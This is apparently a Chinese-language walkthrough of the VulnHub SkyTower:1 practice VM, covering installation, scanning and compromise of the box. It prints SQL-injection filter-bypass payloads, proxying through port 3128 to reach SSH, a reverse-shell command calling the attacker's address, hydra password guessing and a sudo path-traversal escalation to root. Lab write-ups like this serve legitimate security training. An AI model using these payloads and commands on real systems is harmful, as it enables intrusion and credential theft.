SkyTower1靶场练习&小白向&靶场安装&sql语句被过滤&万能SQL密码

下载链接:

SkyTower: 1 ~ VulnHub

安装:

下载解压后打开vxbox,新建虚拟机,系统选择linux,使用已有虚拟硬盘文件

选择解压后的vdi文件

后直接创建

设置中的网络链接模式根据自己情况定

我这里选择的是桥接模式

完成后直接启动即可

正文:

先用nmap扫描靶机ip

复制代码
nmap -sn 192.168.1.1/24

获取到靶机ip后,对靶机的端口进行扫描,并把结果输出到skytower1文件夹下,命名为port方便后续查看

复制代码
nmap -p- 192.168.1.4 -r -PN -oA skytower1/port

(-p-:对所有端口进行探测

-PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标

-oA:输出到指定位置

-r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。

对端口指纹进行详细探测,并把结果输出到skytower1文件夹下,命名为server方便后续查看

复制代码
nmap -p 22,80,3128 192.168.1.4 -sC -sV -r -O --version-all -A -oA skytower1/server

(-p:对指定的端口进行探测

-sV:版本信息

-sC:默认脚本扫描

-A:启动Os检测,版本检测,脚本扫描和traceroute

-O:探测操作系统信息

--version-all:尽可能多的探测信息)

经过查询得知3128端口为一个代理端口,结合22端口的状态为filtered,那么大概率22端口是被过滤掉了

使用默认漏洞脚本对端口进行探测

复制代码
nmap -p 22,80,3128 192.168.1.4 --script=vuln

我们发现80端口下的login.php有sql注入漏洞,注入点为email

访问80端口

是个朴实无华的登录框

进行目录扫描,并没有新发现

复制代码
dirsearch -u "192.168.1.4"

既然这里有sql注入,打开bp抓包,抓取登录数据包

将该数据保存到sqlmap目录下的1.txt,然后运行sqlmap进行注入尝试

复制代码
python sqlmap.py -r 1.txt --dbs --batch

注入失败,我们进行抓包手动尝试

右键将该数据发送到重放器中

在重放器中修改emali参数,在emali参数后加单引号

证实了这里确实有sql注入漏洞

既然sqlmap跑不出来,那我们进行万能密码尝试

复制代码
admin'+or+'1'='1

同样不可行,换一种万能密码

复制代码
admin'+or+'1'='1'--+

根据返回的信息得知,万能密码的or位置被替换为了空格并且等于号也被过滤掉了

将or双写以及等于号替换为like再次进行尝试

复制代码
admin'+oorr+'1'like'1'--+

后面的 --+同样被屏蔽掉了,那将--+去掉,并删除最后一个单引号,让他重新进行闭合状态

复制代码
admin'+oorr+'1'like'1

看样子是登录成功了,返回80界面进行尝试

登陆失败?

打开bp抓登陆包,然后再bp中修改发包信息

进行发包尝试

登录成功

获取到一个账号以及密码

复制代码
john:hereisjohn

获取shell

尝试进行ssh登录

但是是没法登陆的,因为在最开始的nmap扫描结果中,22端口是被过滤掉的,但是3128端口是一个代理端口,那我们可以尝试下用该端口进行代理访问22端口

先打开proxychains的配置文件进行配置代理

复制代码
vim /etc/proxychains.conf

在最下方添加一条(单机键盘上的"i"键即可进行修改操作,修改完成后按"esc"然后输":wq"即可保存退出)

复制代码
http 192.168.1.4 3128

并且把socks4这一条进行屏蔽(在指令前加井号即可屏蔽)

保存退出

先用nmap进行扫描对我们的猜想进行验证

复制代码
proxychains nmap -PN 192.168.1.4 -p22 --min-rate 3000 -sT

果然,22端口状态变为open

尝试对我们获取到的账号密码进行登录

john:hereisjohn

复制代码
proxychains ssh [email protected]

登是登录上了,但是我们被直接退出来了

但是在进行ssh登陆时可以携带一条指令

再次进行尝试

复制代码
proxychains ssh [email protected] whoami

既然可以执行,那我们执行一个反弹shell

新打开一个窗口进行nc监听

复制代码
nc -lvvp 8080

然后回到刚才的窗口进行反弹shell

复制代码
proxychains ssh [email protected] "sh -i >& /dev/tcp/192.168.1.3/8080 0>&1"

输入密码

回到nc

反弹成功

经过查询,在该文件夹下的.bashrc文件是导致我们ssh连接时直接给我们断开的罪魁祸首

查看该文件

复制代码
cat .bashrc

是不是很熟悉?我们之前直接进行ssh登录时返回的语句可不就是这个么

我们对该文件直接重命名给或者删除

复制代码
mv .bashrc .bashrc.bak

然后退出nc,回到ssh界面,再次尝试登录

复制代码
proxychains ssh [email protected]

登录成功

提权

查看具有suid权限的文件,看下有没有什么提权可以用的文件

复制代码
find / -perm -u=s -type f 2>/dev/null

查看计划任务

复制代码
cat /etc/crontab

都没有我们可以利用的东西

既然在80端口有sql注入漏洞,那么在login下大概率会有mysql的账号密码

查看下login.php文件进行确认

切换到目录 /var/www

复制代码
cd /var/www

查看login.php文件

复制代码
cat login.php

确实存在,账号密码都为root

我们进行mysql登录

复制代码
mysql -u root -p

输入密码root

登陆成功

查看数据库

复制代码
show databases;
复制代码
show databases;
复制代码
show tables;
复制代码
select * from login;

将账号密码都进行保存

打开新窗口

复制代码
vim user.txt

将账号保存进去

复制代码
vim pass.txt

将密码保存进去

我们可以进行对ssh端口进行挨个尝试

看能不能撞库成功(可以直接在80端口上进行登录,最后也是会获取到同样的账号密码,我这里习惯的先进行撞库)

复制代码
proxychains hydra -L user.txt -P pass.txt ssh://192.168.1.4 -v

成功,既然我们登陆过john,那我们再次尝试登录sara

复制代码
proxychains ssh [email protected]

既然还是同样的方式给我们提出来了,我们再次用同样的方法进行反弹shell

打开nc监听

复制代码
nc -lvvp 8080
复制代码
proxychains ssh [email protected] "sh -i >& /dev/tcp/192.168.1.3/8080 0>&1"

反弹成功

同样的方法删除或者重命名.bashrc文件

复制代码
mv .bashrc .bashrc.bak

退出nc,再次尝试ssh登录

复制代码
proxychains ssh [email protected]

登陆成功

查看下该用户的权限

既然他又这个权限(用root权限执行/bin/cat /accounts/* 不需要密码)

那我们可以尝试用这个进行提权

复制代码
sudo /bin/cat /accounts/ ../../etc/passwd

发现该方法确实可行

我们可以用该方法去查看下root目录有什么文件,只需要将"cat"替换为"ls"

复制代码
sudo /bin/ls /accounts/ ../../root

有个flag文件,我们进行查看

复制代码
sudo /bin/cat /accounts/ ../../root/flag.txt

root的密码竟然藏在这里

将账户切换为root

复制代码
su root

输入密码theskytower

成功

相关推荐
星星点点洲35 分钟前
【缓存与数据库结合最终方案】伪从技术
数据库·缓存
小黑屋的黑小子38 分钟前
【MySQL】MySQL索引与事务
数据库·mysql·oracle
不爱学英文的码字机器3 小时前
零信任架构:重塑网络安全的IT新范式
安全·web安全·架构
OK_boom3 小时前
Dapper的数据库操作备忘
数据库
艺杯羹4 小时前
JDBC之ORM思想及SQL注入
数据库·sql·jdbc·orm·sql注入
blackA_4 小时前
数据库MySQL学习——day4(更多查询操作与更新数据)
数据库·学习·mysql
斗转星移35 小时前
Ubuntu20.04 中使用vscode中编辑查看PlantUML
linux·vscode·uml·plantuml
极限实验室5 小时前
Easysearch 迁移数据之 Reindex From Remote
数据库
朴拙数科5 小时前
基于LangChain与Neo4j构建企业关系图谱的金融风控实施方案,结合工商数据、供应链记录及舆情数据,实现隐性关联识别与动态风险评估
数据库·langchain·neo4j
迷路的小绅士6 小时前
防火墙技术深度解析:从包过滤到云原生防火墙的部署与实战
网络安全·云原生·防火墙技术·包过滤防火墙·状态检测防火墙